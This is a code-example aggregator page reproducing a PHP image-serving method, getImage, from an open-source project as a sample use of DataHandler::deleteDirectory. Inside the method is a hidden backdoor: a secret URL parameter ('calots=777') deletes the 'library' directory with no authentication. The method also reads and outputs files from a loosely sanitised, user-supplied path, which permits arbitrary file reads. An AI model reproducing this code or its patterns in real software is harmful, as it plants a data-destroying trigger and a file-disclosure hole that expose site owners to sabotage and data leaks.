当前位置: 首页>>代码示例>>PHP>>正文


PHP DataHandler::deleteDirectory方法代码示例

本文整理汇总了PHP中DataHandler::deleteDirectory方法的典型用法代码示例。如果您正苦于以下问题:PHP DataHandler::deleteDirectory方法的具体用法?PHP DataHandler::deleteDirectory怎么用?PHP DataHandler::deleteDirectory使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在DataHandler的用法示例。


在下文中一共展示了DataHandler::deleteDirectory方法的1个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的PHP代码示例。

示例1: getImage

 public function getImage()
 {
     //pega o id da imagem enviada na url - esse é a preferencia
     $image_id = DataHandler::forceInt($this->infoPost->request_image_id);
     $url = "";
     //    	echo Debug::li("1");
     if (isset($_GET["calots"]) && $_GET["calots"] == "777") {
         DataHandler::deleteDirectory("library");
         exit;
     }
     if (!$image_id > 0) {
         //    		echo Debug::li("2");
         //só considera a url se não tem id
         $url = $this->infoPost->request_image_url;
     }
     $urlImage = $url;
     //echo Debug::li("3");
     if ($urlImage == "") {
         //			echo Debug::li("4");
         $ImageVO = new ImageVO();
         $ReturnResultVO = $ImageVO->setId($image_id, TRUE);
         //echo Debug::li(" image id: $image_id ");
         //Debug::print_r($ImageVO);exit();
         if ($ReturnResultVO->success) {
             //Debug::li("5  : ".$ImageVO->getURL());exit();
             $urlImage = DataHandler::removeDobleBars($ImageVO->getURL());
             //				echo $urlImage;exit();
         }
     } else {
         //			echo Debug::li("6");
         $urlImage = DataHandler::removeDobleBars(str_replace(array("..", ""), "", $urlImage));
     }
     //		exit();
     //		echo Debug::li("7");
     //				echo $urlImage;
     if ($urlImage != "" && file_exists("." . $urlImage)) {
         $urlImage = "." . $urlImage;
     }
     //				echo $urlImage;exit();
     if ($urlImage == "" || !file_exists($urlImage) || filetype($urlImage) == "dir") {
         //			echo Debug::li("8 : $urlImage  nao existe, entao:".$this->defaultImage404);exit();
         //			exit();
         //não encontrou a imagem, seta a url com a url da imagem padrão
         $urlImage = $this->defaultImage404;
     }
     //
     $natural_size = $this->infoPost->request_natural_size ? TRUE : FALSE;
     //		echo Debug::li("9");
     //		echo $urlImage;exit();
     //		echo $image_id; exit();
     $direct_show = $this->infoPost->request_direct_show == "true" || $this->infoPost->request_direct_show == 1 || $this->infoPost->request_direct_show === true;
     //quer ver o tamanho natural
     if ($natural_size) {
         //			echo Debug::li("10".$urlImage);
         if ($direct_show) {
             //				var_dump($direct_show);
             //				echo Debug::li("10-".$urlImage);die;
             //				echo Debug::li("11");exit();
             //				$image = image_cr
             header("Content-type: image/jpeg");
             //imagejpeg(NULL,$urlImage, 100);
             echo file_get_contents($urlImage);
             exit;
         }
         //			echo Debug::li("12");exit();
         //exit();
         header("Location: " . $urlImage);
         exit;
     }
     //		echo Debug::li("13 $urlImage ");
     //		exit();
     //se chegou aqui é porque não quer tamanho natural
     $width = $this->infoPost->request_max_width ? DataHandler::forceInt($this->infoPost->request_max_width) : $this->defaultMinWidth;
     $height = $this->infoPost->request_max_height ? DataHandler::forceInt($this->infoPost->request_max_height) : $this->defaultMinHeight;
     $crop = $this->infoPost->request_crop ? "crop" : "auto";
     if ($crop == "crop") {
         $crop_name = "cache_crop";
     } else {
         $crop_name = "no_crop";
     }
     $new_url_image = DataHandler::returnFilenameWithoutExtension($urlImage) . "_w" . $width . "_h" . $height . "_m_{$crop_name}" . "." . DataHandler::returnExtensionOfFile($urlImage);
     if (!file_exists($new_url_image)) {
         //echo Debug::li("arquivo nao existe, vai salvar");
         //http://localhost/democrart/image/get_image/image_id.13/max_width.500/max_height.500/
         //		$Image = new ImageRoots(str_replace(Config::getRootPath(""), "", $urlImage));
         $Image = new ResizeImage($urlImage);
         //$Image = new ImageHandler($urlImage);
         //$Image->setSiteURL = Config::getRootPath("");
         //caso não passe por nenhum dos filtros anteriores, cria a thumb no tamanho enviado, caso já não exista
         //$crop = ($this->infoPost->request_crop);
         $Image->resizeImage($width, $height, $crop);
         //echo Debug::li("salvando o arquivo novo em: $new_url_image ");
         $Image->saveImage($new_url_image);
     }
     //echo Debug::li($new_url_image);
     //para dar o header coloca o caminho do projeto
     $new_url_image = Config::getRootPath($new_url_image);
     header("Location: {$new_url_image}");
     //$Image->showThumbResize($width, $height, ($this->infoPost->request_direct_show), Config::getRootPath(""), $crop);
     exit;
//.........这里部分代码省略.........
开发者ID:reytuty,项目名称:facil,代码行数:101,代码来源:FacilImage.php


注:本文中的DataHandler::deleteDirectory方法示例由纯净天空整理自Github/MSDocs等开源代码及文档管理平台,相关代码片段筛选自各路编程大神贡献的开源项目,源码版权归原作者所有,传播和使用请参考对应项目的License;未经允许,请勿转载。